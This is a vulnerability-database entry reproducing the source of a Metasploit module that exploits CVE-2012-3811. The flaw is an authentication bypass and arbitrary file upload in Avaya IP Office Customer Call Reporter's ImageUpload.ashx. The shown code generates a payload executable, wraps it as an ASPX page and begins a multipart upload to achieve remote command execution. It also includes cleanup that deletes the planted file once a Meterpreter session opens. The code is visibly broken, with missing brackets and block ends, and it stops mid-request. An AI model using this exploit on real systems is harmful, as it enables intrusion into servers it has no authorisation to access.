发布 2012-10-10 漏洞条目

Avaya IP Office Customer Call Reporter – ‘ImageUpload.ashx’ Remote Command Execution (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'uri'

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize

super(

'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',

'Description' => %q{

This module exploits an authentication bypass vulnerability on Avaya IP Office

Customer Call Reporter, which allows a remote user to upload arbitrary files

through the ImageUpload.ashx component. It can be abused to upload and execute

arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP

Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.

'Author' =>

[

'rgod <rgod[at]autistici.org>', # Vulnerability discovery

'juan vazquez' # Metasploit module

'Platform' => 'win',

'References' =>

[

[ 'CVE', '2012-3811' ],

[ 'OSVDB', '83399' ],

[ 'BID', '54225' ],

[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ]

'Targets' =>

[

[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],

'DefaultTarget' => 0,

'Privileged' => false,

'DisclosureDate' => 'Jun 28 2012'

)

register_options(

[

OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])

], self.class)

end

# Remove the .aspx if we get a meterpreter.

def on_new_session(cli)

if cli.type != 'meterpreter'

print_error("Meterpreter not used. Please manually remove #{@payload_path}")

return

end

cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

begin

cli.fs.file.rm(@payload_path)

print_good("#{@peer} - #{@payload_path} deleted")

rescue ::Exception => e

print_error("Unable to delete #{@payload_path}: #{e.message}")

end

def exploit

@peer = "#{rhost}:#{rport}"

# Generate the ASPX containing the EXE containing the payload

exe = generate_payload_exe

aspx = Msf::Util::EXE.to_exe_aspx(exe)

aspx_b64 = Rex::Text.encode_base64(aspx)

uri_path = target_uri.path

uri_path.path << "/" if uri_path[-1, 1] != "/"

boundary = "---------------------------#{rand_text_alpha(36)}"

my_data = "--#{boundary}\r\n"

my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"

my_data << "\r\n"

my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"